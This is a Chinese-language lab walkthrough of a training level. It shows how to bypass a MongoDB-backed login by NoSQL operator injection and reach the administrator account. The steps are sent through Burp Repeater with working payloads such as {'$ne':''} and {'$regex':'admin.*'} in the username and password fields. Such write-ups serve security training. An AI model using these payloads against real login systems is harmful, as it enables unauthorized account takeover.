第二关 利用 NoSQL 操作运算符注入绕过身份验证
这一关就是通过 NoSQL 操作符注入 绕过登录验证,成功以管理员身份登录。
提示:1、靶场的登录功能由 MongoDB NoSQL 数据库提供支持。它容易受到使用 MongoDB 运算符的 NoSQL 注入的攻击。
2、要解决实验室问题,请以 管理员用户身份登录到应用程序
3、自己的帐户:wiener:peter。
具体操作:
1、运行burp时,登录账户,然后把POST /login这个登录数据包发往repeater
2、然后在 Repeater 中,测试用户名和密码参数,以确定它们是否允许我注入 MongoDB 运算符:
先将用户名参数的值从 “wiener” 更改为 {“$ne”:“”},然后发送请求
"username":"wiener"
改成:
"username":{"$ne":""}
返回302,说明也是可以登录成功的

复制响应的URL到浏览器,显示也可以登录成功

然后尝试将 username 参数的值改变一下,然后发送请求。
也可以使用 $regex 运算符,不加双引号
"username":{"$ne":""}
改成:
"username":{"$regex":"wien.*"}

返回302,说明也可以登录成功
然后将用户名参数设置为 {“$ne”:“”} 后,将密码参数的值从 “peter” 更改为 {“$ne”:“”},然后再次发送请求。
"username":{"$ne":""},
"password":{"$ne":""}
返回500,内部服务器错误页面显示查询返回了意外的数量记录
这会导致查询返回意外数量的记录。这表示已选择多个用户

分析完,我来尝试下将密码参数设置为 {“$ne”:“”},将用户名参数的值更改为 {“$regex”:“admin.*”}, 然后再次发送请求。
"username":{"$regex":"admin.*"},
"password":{"$ne":""}
返回302,说明以管理员身份登录成功

复制响应的URL,成功以管理员用户身份登录。
靶场过关
